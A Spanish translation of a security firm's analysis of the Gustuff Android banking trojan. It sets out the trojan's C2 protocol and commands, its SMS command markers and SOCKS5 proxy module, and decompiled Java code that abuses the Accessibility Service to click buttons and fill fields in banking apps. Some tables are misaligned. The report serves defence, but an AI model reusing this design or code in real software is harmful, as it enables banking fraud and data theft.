
Recientemente, Group-IB sobre la actividad del troyano para Android Gustuff. Funciona exclusivamente en mercados internacionales, atacando a clientes de los 100 principales bancos extranjeros, usuarios de 32 billeteras de criptomonedas, así como a grandes recursos de comercio electrónico. El desarrollador de Gustuff es un criminal cibernético de habla rusa conocido como Bestoffer. No hace mucho, alababa su troyano como "un producto serio para personas con conocimientos y experiencia".
El especialista en análisis de malware de Group-IB Ivan Pisariev en su investigación detalla cómo funciona Gustuff y cuáles son sus peligros.
A quién apunta Gustuff
Gustuff pertenece a una nueva generación de programas maliciosos con funciones completamente automatizadas. Según el desarrollador, el troyano es una nueva y mejorada versión del malware AndyBot, que desde noviembre de 2017 ataca teléfonos con sistema operativo Android y roba dinero a través de formularios web de phishing que se disfrazan de aplicaciones móviles de conocidos bancos internacionales y sistemas de pago. Bestoffer informó que el alquiler del "Gustuff Bot" costaba $800 al mes.
El análisis de la muestra de Gustuff mostró que el troyano está potencialmente dirigido a clientes que utilizan aplicaciones móviles de los principales bancos, como Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, así como a billeteras de criptomonedas como Bitcoin Wallet, BitPay, Cryptopay, Coinbase, entre otras.
Inicialmente creado como un troyano bancario clásico, en la versión actual Gustuff ha ampliado significativamente la lista de posibles objetivos de ataque. Además de las aplicaciones bancarias Android, de fintech y de criptomonedas, Gustuff se dirige a los usuarios de aplicaciones de mercados, tiendas en línea, sistemas de pago y mensajeros. En particular, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut y otros.
Punto de entrada: calculando para una infección masiva
Gustuff se caracteriza por un "vector clásico" de penetración en smartphones Android a través de envíos de SMS con enlaces a APK. Al infectar un dispositivo Android con un troyano, puede ocurrir una propagación adicional de Gustuff a través de la base de contactos del teléfono infectado o mediante la base de datos del servidor. Las funcionalidades de Gustuff están diseñadas para una infección masiva y maximizan la capitalización del negocio de sus operadores; contiene una función única de "carga automática" en aplicaciones bancarias móviles legítimas y criptobolsas, lo que permite acelerar y escalar el robo de dinero.
La investigación del troyano mostró que la función de carga automática se implementa a través del Servicio de Accesibilidad, un servicio para personas con discapacidades. Gustuff no es el primer troyano que elude exitosamente la protección contra la interacción con elementos de ventanas de otras aplicaciones usando este servicio de Android. Sin embargo, el uso del Servicio de Accesibilidad combinado con la carga automática sigue siendo un fenómeno bastante raro.
Después de ser descargado en el teléfono de la víctima, Gustuff, utilizando el Servicio de Accesibilidad, obtiene la capacidad de interactuar con los elementos de ventanas de otras aplicaciones (bancarias, de criptomonedas, así como aplicaciones de compras en línea, mensajería, etc.), llevando a cabo las acciones necesarias para los delincuentes. Por ejemplo, a comando del servidor, el troyano puede pulsar botones y cambiar valores de campos de texto en aplicaciones bancarias. El uso del mecanismo del Servicio de Accesibilidad permite que el troyano eluda las medidas de protección implementadas por los bancos para enfrentar a los troyanos móviles de generaciones anteriores, así como los cambios en la política de seguridad introducidos por Google en las nuevas versiones del sistema operativo Android. De esta manera, Gustuff "puede" deshabilitar la protección de Google Protect: según afirma el autor, esta función se activa en el 70% de los casos.

Gustuff también puede mostrar notificaciones PUSH falsas con íconos de aplicaciones móviles legítimas. El usuario hace clic en la notificación PUSH y ve una ventana de phishing cargada desde el servidor, donde introduce los datos solicitados de su tarjeta bancaria o billetera criptográfica. En otro escenario de trabajo de Gustuff, se abre la aplicación cuyo nombre se mostró en la notificación PUSH. En este caso, el malware puede, por orden del servidor a través del Servicio de Accesibilidad, rellenar los campos del formulario de la aplicación bancaria para realizar una transacción fraudulenta.
Las capacidades de Gustuff también incluyen el envío de información sobre el dispositivo infectado al servidor, la posibilidad de leer/enviar mensajes SMS, enviar solicitudes USSD, iniciar un Proxy SOCKS5, seguir enlaces y enviar archivos (incluidos escaneos fotográficos de documentos, capturas de pantalla y fotografías) al servidor, así como restablecer el dispositivo a la configuración de fábrica.
Análisis del malware
Antes de instalar la aplicación maliciosa, el sistema operativo Android muestra al usuario una ventana que contiene una lista de los permisos solicitados por Gustuff:

La instalación de la aplicación solo ocurrirá después de obtener el consentimiento del usuario. Tras iniciar la aplicación, el troyano mostrará al usuario una ventana:

Después de esto, eliminará su ícono.
Gustuff está empaquetado, según el autor, por un empaquetador de FTT. Después de iniciar, la aplicación consulta periódicamente al servidor CnC para recibir comandos. En varios archivos que hemos investigado, se utilizó como servidor de control la dirección IP 88.99.171[.]105 (en adelante nos referiremos como <%CnC%>).
Después de iniciar, el programa comienza a enviar mensajes al servidor http:///api/v1/get.php.
Como respuesta, se espera un JSON en el siguiente formato:
{
"results" : "OK",
"command":{
"id": "",
"command":"",
"timestamp":"",
"params":{
},
},
}Con cada solicitud, la aplicación envía información sobre el dispositivo infectado. El formato del mensaje se presenta a continuación. Cabe destacar que los campos full, extra, apps y permission son opcionales y solo se enviarán en caso de una solicitud de comando del CnC.
{
"info":
{
"info":
{
"cell":,
"country":,
"imei":,
"number":,
"line1Number":,
"advertisementId":
},
"state":
{
"admin":,
"source":,
"needPermissions":,
"accesByName":,
"accesByService":,
"safetyNet":,
"defaultSmsApp":,
"isDefaultSmsApp":,
"dateTime":,
"batteryLevel":
},
"socks":
{
"id":,
"enabled":,
"active":
},
"version":
{
"versionName":,
"versionCode":,
"lastUpdateTime":,
"tag":,
"targetSdkVersion":,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":,
"localeCountry":,
"localeLang":,
"accounts":,
"lockType":
},
"extra":
{
"serial":,
"board":,
"brand":,
"user":,
"device":,
"display":,
"id":,
"manufacturer":,
"model":,
"product":,
"tags":,
"type":,
"imei":,
"imsi":,
"line1number":,
"iccid":,
"mcc":,
"mnc":,
"cellid":,
"lac":,
"androidid":,
"ssid":
},
"apps":{},
"permission":
} Almacenamiento de datos de configuración
Gustuff almacena información crítica en un archivo de preferencias. El nombre del archivo y los nombres de los parámetros en él son el resultado del cálculo de un hash MD5 de la cadena. 15413090667214.6.1, donde <%name%> — nombre-valor original. Interpretación en Python de la función generadora de nombres:
nameGenerator(input):
salida = md5("15413090667214.6.1" + input) A partir de ahora, lo denotaremos como nameGenerator(input).
Por lo tanto, el nombre del primer archivo: nameGenerator(«API_SERVER_LIST»), contiene valores con los siguientes nombres:
| Nombre de la variable | Valor |
|---|---|
| nameGenerator(«API_SERVER_LIST») | Contiene una lista de direcciones CnC en forma de matriz. |
| nameGenerator(«API_SERVER_URL») | Contiene la dirección CnC. |
| nameGenerator(«SMS_UPLOAD») | El indicador está configurado por defecto. Si se establece el indicador, envía mensajes SMS a CnC. |
| nameGenerator(«SMS_ROOT_NUMBER») | El número de teléfono al que se enviarán los SMS será recibido por el dispositivo infectado. Por defecto, es null. |
| nameGenerator(«SMS_ROOT_NUMBER_RESEND») | La bandera está desactivada por defecto. Si se activa, al recibir un SMS en el dispositivo infectado, se enviará al número raíz. |
| nameGenerator(«DEFAULT_APP_SMS») | La bandera está desactivada por defecto. Si esta bandera está activada, la aplicación procesará los mensajes SMS entrantes. |
| nameGenerator(«DEFAULT_ADMIN») | La bandera está desactivada por defecto. Si se activa, la aplicación tendrá derechos de administrador. |
| nameGenerator(«DEFAULT_ACCESSIBILITY») | La bandera está desactivada por defecto. Si se activa, se iniciará el servicio que utiliza Accessibility Service. |
| nameGenerator(«APPS_CONFIG») | Un objeto JSON que contiene una lista de acciones que deben tomarse cuando ocurre un evento de Accessibility relacionado con una aplicación específica. |
| nameGenerator(«APPS_INSTALLED») | Almacena la lista de aplicaciones instaladas en el dispositivo. |
| nameGenerator(«IS_FIST_RUN») | La bandera se restablece en el primer lanzamiento. |
| nameGenerator(«UNIQUE_ID») | Contiene un identificador único. Se genera en el primer lanzamiento del bot. |
Módulo de procesamiento de comandos del servidor
La aplicación almacena las direcciones de los servidores CnC en forma de un arreglo codificado en Base85 cadenas. La lista de CnC puede cambiarse al recibir un comando correspondiente; en tal caso, las direcciones se almacenarán en el archivo de preferencias. servidores En respuesta a la solicitud, el servidor envía un comando a la aplicación. Cabe destacar que los comandos y parámetros se presentan en formato JSON. La aplicación puede procesar los siguientes comandos:
forwardStart
| Comando | Descripción |
|---|---|
| Comenzar el envío de los mensajes SMS recibidos por el dispositivo infectado al servidor CnC. | forwardStop |
| Detener el envío de los mensajes SMS recibidos por el dispositivo infectado al servidor CnC. | ussdRun |
| Ejecutar una solicitud USSD. El número al que se debe realizar la solicitud USSD se encuentra en el campo JSON «number». | sendSms |
| Enviar un SMS (si es necesario, el mensaje se divide en partes). Como parámetro, el comando acepta un objeto JSON que contiene los campos «to» — número de destino y «body» — cuerpo del mensaje. | sendSmsAb |
| Enviar mensajes SMS (si es necesario, el mensaje se divide en partes) a todos en la lista de contactos del dispositivo infectado. El intervalo entre el envío de los mensajes es de 10 segundos. El cuerpo del mensaje se encuentra en el campo JSON «body» | sendSmsMass |
| sendSmsMass | Enviar mensajes SMS (si es necesario, el mensaje se dividirá en partes) a los contactos especificados en los parámetros del comando. El intervalo entre el envío de mensajes es de 10 segundos. Como parámetro, el comando acepta un array JSON (el campo "sms"), cuyos elementos contienen los campos "to" — número de destino y "body" — cuerpo del mensaje. |
| changeServer | Este comando puede aceptar como parámetro un valor con la clave "url" — entonces el bot cambiará el valor de nameGenerator("SERVER_URL"), o "array" — entonces el bot registrará un array en nameGenerator("API_SERVER_LIST"). De este modo, la aplicación cambia la dirección de los servidores CnC. |
| adminNumber | El comando está destinado a trabajar con el número root. El comando acepta un objeto JSON con los siguientes parámetros: "number" — cambiar nameGenerator("ROOT_NUMBER") al valor recibido, "resend" — cambiar nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" — enviar a nameGenerator("ROOT_NUMBER") uniqueID. |
| updateInfo | Enviar al servidor información sobre el dispositivo infectado. |
| wipeData | El comando está destinado a eliminar datos de usuario. Dependiendo del nombre con el que se haya iniciado la aplicación, se realiza ya sea un borrado completo de datos con reinicio del dispositivo (primary user), o solo la eliminación de los datos de usuario (secondary user). |
| socksStart | Iniciar el módulo Proxy. El funcionamiento del módulo se describe en una sección separada. |
| socksStop | Detener el funcionamiento del módulo Proxy. |
| openLink | Abrir el enlace. El enlace se encuentra en el parámetro JSON bajo la clave "url". Para abrir el enlace se utiliza "android.intent.action.VIEW". |
| uploadAllSms | Enviar al servidor todos los mensajes SMS recibidos por el dispositivo. |
| uploadAllPhotos | Enviar a la URL imágenes desde el dispositivo infectado. La URL llega como parámetro. |
| uploadFile | Enviar a la URL un archivo desde el dispositivo infectado. La URL llega como parámetro. |
| uploadPhoneNumbers | Enviar al servidor los números de teléfono de la lista de contactos. Si como parámetro llega un objeto JSON con el valor de la clave "ab", la aplicación obtiene la lista de contactos de la agenda telefónica. Si como parámetro llega un objeto JSON con la clave "sms", la aplicación lee la lista de contactos de los remitentes de los mensajes SMS. |
| changeArchive | La aplicación descarga un archivo desde una dirección que se proporciona como parámetro con la clave «url». El archivo descargado se guarda con el nombre «archive.zip». Luego, la aplicación descomprime el archivo, utilizando una contraseña para el archivo «b5jXh37gxgHBrZhQ4j3D», si es necesario. Los archivos descomprimidos se guardan en el directorio [external storage]\/hgps. En este directorio, la aplicación almacena web-fake (descrito a continuación). |
| actions | El comando está destinado a trabajar con el Servicio de Acciones, que se describe en una sección separada. |
| test | No hace nada. |
| descargar | El comando está destinado a descargar un archivo desde un servidor remoto y guardarlo en el directorio «Downloads». La URL y el nombre del archivo vienen como parámetros, los campos en el objeto JSON son respectivamente: «url» y «fileName». |
| eliminar | Elimina el archivo del directorio «Downloads». El nombre del archivo se proporciona en el parámetro JSON con la clave «fileName». El nombre de archivo estándar es «tmp.apk». |
| notificación | Mostrar una notificación con textos de descripción y título, definidos por el servidor de control. |
Formato del comando notificación:
{
"results" : "OK",
"command":{
"id": ,
"command":"notification",
"timestamp":,
"params":{
"openApp":,
"array":[
{"title":,
"desc":,
"app":}
]
},
},
}La notificación generada por el archivo investigado se ve idéntica a las notificaciones generadas por la aplicación indicada en el campo app. Si el valor del campo openApp es — True, al abrir la notificación se inicia la aplicación indicada en el campo app. Si el valor del campo openApp es — False, entonces:
- se abrirá una ventana de phishing cuyo contenido se carga desde el directorio \/hgps\/
- se abrirá una ventana de phishing cuyo contenido se carga desde el servidor ?id=&app=
- se abrirá una ventana de phishing disfrazada de Google Play Card, con la posibilidad de ingresar los datos de la tarjeta.
El resultado de la ejecución de cualquier comando lo envía la aplicación a set_state.php en forma de objeto JSON del siguiente formato:
{
"command":
{
"command":,
"id":,
"state":
}
"id":
} ActionsService
La lista de comandos que procesa la aplicación incluye acción. Al recibir el comando, el módulo de procesamiento de comandos se dirige a este servicio con el objetivo de ejecutar un comando extendido. Como parámetro, el servicio acepta un objeto JSON. El servicio puede ejecutar los siguientes comandos:
1. PARAMS_ACTION — al recibir tal comando, el servicio primero obtiene del parámetro JSON el valor de la clave Type, que puede ser el siguiente:
- serviceInfo – el subcomando obtiene del parámetro JSON el valor de la clave includeNotImportant. Si el indicador es True, la aplicación establece el indicador FLAG_ISOLATED_PROCESS en el servicio que utiliza el Accessibility Service. De este modo, el servicio se ejecutará en un proceso separado.
- root — obtener y enviar al servidor información sobre la ventana que está actualmente en foco. La aplicación obtiene la información mediante la clase AccessibilityNodeInfo.
- admin — solicitar permisos de administrador.
- delay — suspender el funcionamiento de ActionsService durante la cantidad de milisegundos indicada en el parámetro de la clave «data».
- windows — enviar una lista de ventanas visibles al usuario.
- install — instalar la aplicación en el dispositivo comprometido. El nombre del paquete del archivo está en la clave «fileName». El archivo comprimido se encuentra en el directorio Downloads.
- global – el subcomando está destinado a realizar la transición desde la ventana actual:
- al menú de Configuración Rápida
- atrás
- a la pantalla de inicio
- a las notificaciones
- a la ventana de aplicaciones recientemente abiertas
- launch — iniciar la aplicación. El nombre de la aplicación se recibe como parámetro por la clave data.
- sounds — cambiar el modo de sonido a silencio.
- unlock — activa la retroiluminación de la pantalla y el teclado al máximo brillo. La aplicación realiza esta acción mediante WakeLock, indicando como etiqueta la cadena [Application lable]:INFO
- permissionOverlay — función no implementada (respuesta a la ejecución del comando — {«message»:«No soportado»} o {«message»:«SDK bajo»})
- gesture — función no implementada (respuesta a la ejecución del comando — {«message»:«No soportado»} o {«message»:«API bajo»})
- permissions — este comando es necesario para solicitar permisos para la aplicación. Sin embargo, la función de solicitud no está implementada, por lo tanto, el comando no tiene sentido. La lista de permisos solicitados se recibe como un array JSON con la clave «permissions». Lista estándar:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- open — mostrar en la pantalla una ventana de phishing. Dependiendo del parámetro recibido del servidor, la aplicación puede mostrar las siguientes ventanas de phishing:
- Mostrar la ventana de phishing cuyo contenido está escrito en el archivo en el directorio /hgps/El resultado de la interacción del usuario con la ventana será enviado a la dirección /records.php
- Mostrar una ventana de phishing, cuyo contenido se carga previamente desde la dirección ?id=&app=El resultado de la interacción del usuario con la ventana será enviado a la dirección /records.php
- Mostrar una ventana de phishing disfrazada de Google Play Card.
- interactivo — el comando está diseñado para interactuar con elementos de ventanas de otras aplicaciones a través de AccessibilityService. Para la interacción, se ha implementado un servicio especial en el programa. La aplicación explorada puede interactuar con ventanas:
- Activas en ese momento. En este caso, el parámetro contiene el id o el texto (nombre) del objeto con el que se necesita interactuar.
- Visibles para el usuario en el momento de la ejecución del comando. La aplicación selecciona ventanas por id.
Al obtener los objetos AccessibilityNodeInfo para los elementos de la ventana de interés, la aplicación puede ejecutar acciones dependiendo de los parámetros:
- focus — establecer el foco en el objeto.
- click — hacer clic en el objeto.
- actionId — ejecutar una acción por ID.
- setText — cambiar el texto del objeto. El cambio de texto es posible de dos maneras: realizar la acción ACTION_SET_TEXT (si la versión de Android del dispositivo infectado es anterior o igual a LOLLIPOP), o colocando una cadena en el portapapeles y pegándola en el objeto (para versiones posteriores). Este comando puede usarse para modificar datos en una aplicación bancaria.
2. PARAMS_ACTIONS — es lo mismo que PARAMS_ACTION, solo que llega como un array JSON de comandos.
Parece que a muchos les interesará cómo se ve la función de interacción con los elementos de la ventana de otra aplicación. Así es como se ha implementado esta funcionalidad en Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}Función de reemplazo de texto:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}Por lo tanto, con una configuración adecuada del servidor de gestión, Gustuff puede llenar campos de texto en aplicaciones bancarias y hacer clic en los botones necesarios para completar transacciones. El troyano ni siquiera necesita autenticarse en la aplicación; solo necesita enviar un comando para mostrar una notificación PUSH, seguido de la apertura de la aplicación bancaria previamente instalada. El usuario se autentica por sí mismo, después de lo cual Gustuff podrá realizar la auto-inserción.
Módulo de procesamiento de SMS
La aplicación establece un manejador de eventos para la recepción de SMS en el dispositivo infectado. La aplicación en estudio puede recibir comandos del operador que llegan en el cuerpo de los mensajes SMS. Los comandos llegan en el siguiente formato:
7!5=
La aplicación busca en todos los mensajes SMS entrantes la cadena 7!5=, al detectar una cadena, decodifica la cadena de Base64 con un desplazamiento de 4 y ejecuta el comando. Los comandos son similares a los comandos con CnC. El resultado de la ejecución se envía al mismo número desde el que se recibió el comando. Formato de respuesta:
7*5=
Opcionalmente, la aplicación puede enviar todos los mensajes recibidos al número Root. Para ello, en el archivo de preferencias debe indicarse el número Root y establecerse la bandera de redirección de mensajes. El mensaje SMS se envía al número del atacante en el formato:
—
También opcionalmente, la aplicación puede enviar mensajes a CnC. El mensaje SMS se envía al servidor en formato JSON:
{
"id":,
"sms":
{
"text":,
"number":,
"date":
}
}Si está establecida la bandera nameGenerator(«DEFAULT_APP_SMS») – la aplicación detiene el procesamiento del mensaje SMS y limpia la lista de mensajes entrantes.
Módulo Proxy
En la aplicación investigada, hay un módulo de Backconnect Proxy (en adelante, Módulo Proxy), que tiene una clase independiente que incluye campos estáticos con la configuración. Los datos de configuración se almacenan en el sample en texto plano:

Todas las acciones realizadas por el Módulo Proxy se registran en archivos. Para ello, la aplicación crea un directorio en el Almacenamiento Externo con el nombre «logs» (campo ProxyConfigClass.logsDir en la clase de configuración), donde se almacenan los archivos de registro. El registro se realiza en archivos con los nombres:
- main.txt – en este archivo se registran las operaciones de la clase llamada CommandServer. A partir de ahora, registrar la cadena str en este archivo se denotará como mainLog(str).
- session-.txt — en este archivo se guardan los datos de registro relacionados con una sesión de proxy determinada. A partir de ahora, registrar la cadena str en este archivo se denotará como sessionLog(str).
- server.txt – en este archivo se registran todos los datos escritos en los archivos antes mencionados.
Formato de los datos de registro:
[Thread[], id[]]: log-string
Las excepciones que ocurren durante el funcionamiento del Módulo Proxy también se registran en el archivo. Para ello, la aplicación forma un objeto JSON en formato:
{
"uncaughtException":
"thread":
"message":
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}Luego, lo convierte a una representación de cadena y lo registra.
El módulo Proxy se inicia después de recibir el comando correspondiente. Al recibir el comando para iniciar el módulo Proxy, la aplicación inicia el servicio llamado MainService, que se encarga de la gestión del funcionamiento del módulo Proxy: su inicio y detención.
Etapas de inicio del servicio:
1. Inicia un temporizador que se activa una vez por minuto y verifica la actividad del módulo Proxy. Si el módulo no está activo, lo inicia.
También, al activarse el evento android.net.conn.CONNECTIVITY_CHANGE se inicia el módulo Proxy.
2. La aplicación crea un wake-lock con el parámetro PARTIAL_WAKE_LOCK y lo adquiere. De este modo, evita que el CPU del dispositivo entre en modo de sueño.
3. Inicia la clase de procesamiento de comandos del módulo Proxy, registrando previamente la cadena mainLog(«start server») y
Server::start() host[], commandPort[], proxyPort[]
donde proxy_cnc, command_port y proxy_port son parámetros obtenidos de la configuración del servidor Proxy.
La clase de procesamiento de comandos se llama CommandConnection. Justo después de iniciarse, realiza las siguientes acciones:
4. Se conecta a ProxyConfigClass.host: ProxyConfigClass.commandPort y envía allí los datos del dispositivo infectado en formato JSON:
{
"id":,
"imei":,
"imsi":,
"model":,
"manufacturer":,
"androidVersion":,
"country":,
"partnerId":,
"packageName":,
"networkType":,
"hasGsmSupport":,
"simReady":,
"simCountry":,
"networkOperator":,
"simOperator":,
"version":
}Donde:
- id – identificador, intenta obtener el valor del campo “id” del archivo de preferencias compartidas llamado “x”. Si no se puede obtener este valor, genera uno nuevo. Así, el módulo Proxy tiene su identificador, que se genera de manera similar al ID del Bot.
- imei – IMEI del dispositivo. Si ocurre un error al obtener el valor, en lugar de este campo se registrará un mensaje de texto sobre el error.
- imsi — Identidad Internacional del Suscriptor Móvil del dispositivo. Si ocurrió un error al obtener el valor, se grabará un mensaje de texto de error en lugar de este campo.
- model — El nombre visible para el usuario final del producto terminado.
- manufacturer — El fabricante del producto/hardware (Build.MANUFACTURER).
- androidVersion — cadena en el formato « (),»
- country — ubicación actual del dispositivo.
- partnerId – cadena vacía.
- packageName – nombre del paquete.
- networkType — tipo de conexión de red actual (por ejemplo: «WIFI», «MOBILE»). En caso de error, devuelve null.
- hasGsmSupport – true – si el teléfono soporta GSM, de lo contrario false.
- simReady – estado de la tarjeta SIM.
- simCountry — código ISO del país (basado en el proveedor de la tarjeta SIM).
- networkOperator — nombre del operador. Si ocurrió un error al obtener el valor, se grabará un mensaje de texto de error en lugar de este campo.
- simOperator — El Nombre del Proveedor de Servicio (SPN). Si ocurrió un error al obtener el valor, se grabará un mensaje de texto de error en lugar de este campo.
- version — este campo se almacena en la clase de configuración, para las versiones investigadas del bot tuvo un valor de «1.6».
5. Pasa a modo de espera de comandos del servidor. Los comandos del servidor se reciben en el siguiente formato:
- 0 offset – comando
- 1 offset – sessionId
- 2 offset – longitud
- 4 offset — datos
Al recibir un comando, la aplicación registra:
mainLog(«Header { sessionId, type[], length[] }»)
Pueden existir los siguientes comandos del servidor:
| Nombre | Comando | Data | Descripción |
|---|---|---|---|
| connectionId | 0 | ID de Conexión | Crear una nueva conexión |
| SLEEP | 3 | Tiempo | Suspender el módulo Proxy. |
| PING_PONG | 4 | — | Enviar un mensaje PONG. |
El mensaje PONG consiste en 4 bytes y tiene el siguiente formato: 0x04000000.
Al recibir el comando connectionId (para crear una nueva conexión) CommandConnection se crea una instancia de la clase ProxyConnection.
- El proceso de proxy incluye dos clases: ProxyConnection y end. Al crear la clase ProxyConnection se conecta a la dirección ProxyConfigClass.host: ProxyConfigClass.proxyPort y se envía el objeto JSON:
{
"id":
}En respuesta, el servidor envía un mensaje SOCKS5 que contiene la dirección del servidor remoto, con el que se debe establecer la conexión. La interacción con este servidor se realiza a través de la clase end. Esquema de establecimiento de conexión puede representarse de la siguiente manera:

Interacciones de red
Para prevenir el análisis del tráfico por parte de sniffers de red, la interacción entre el servidor CnC y la aplicación puede ser protegida mediante el protocolo SSL. Todos los datos transmitidos, tanto desde como hacia el servidor, se presentan en formato JSON. Durante su funcionamiento, la aplicación realiza las siguientes solicitudes:
- http:///api/v1/set_state.php — el resultado de la ejecución del comando.
- http:///api/v1/get.php — la obtención del comando.
- http:///api/v1/load_sms.php — la descarga de mensajes SMS desde el dispositivo infectado.
- http:///api/v1/load_ab.php — la descarga de la lista de contactos desde el dispositivo infectado.
- http:///api/v1/aevents.php – la solicitud se realiza al actualizar los parámetros en el archivo de preferencias.
- http:///api/v1/set_card.php — la descarga de datos obtenidos a través de una ventana de phishing disfrazada de Google Play Market.
- http:///api/v1/logs.php – la descarga de datos de registro.
- http:///api/v1/records.php – la descarga de datos obtenidos mediante ventanas de phishing.
- http:///api/v1/set_error.php – notificación sobre el error ocurrido.
Recomendaciones
Con el fin de proteger a sus clientes de la amenaza de los troyanos móviles, las empresas deben utilizar soluciones integrales que permitan rastrear y prevenir la actividad maliciosa sin instalar software adicional en los dispositivos de los usuarios.
Para ello, los métodos de detección basada en firmas de los troyanos móviles deben reforzarse con tecnologías de análisis de comportamiento tanto del cliente como de la propia aplicación. Además, la protección debe incluir una función de identificación de dispositivos utilizando la tecnología de huellas digitales, lo que permitirá entender cuándo una cuenta se utiliza desde un dispositivo no habitual y ya ha caído en manos de un estafador.
Un punto crucial es la posibilidad de análisis cruzado, lo que permite a las empresas controlar los riesgos que surgen no solo en el canal de internet, sino también en el móvil, por ejemplo, en aplicaciones de banca móvil, para operaciones con criptomonedas y cualquier otra donde se pueda realizar una transacción financiera.
Reglas de seguridad para los usuarios:
- no instalar aplicaciones para dispositivos móviles con sistema operativo Android desde fuentes que no sean Google Play, prestando especial atención a los permisos solicitados por la aplicación;
- actualizar regularmente el sistema operativo Android;
- prestar atención a las extensiones de los archivos cargados;
- no visitar recursos sospechosos;
- no hacer clic en los enlaces recibidos en mensajes SMS.
Con la participación de Semena Rogacheva, especialista junior en investigación de malware en el Laboratorio de Criminalística Informática de Group-IB.
Fuente: habr.com
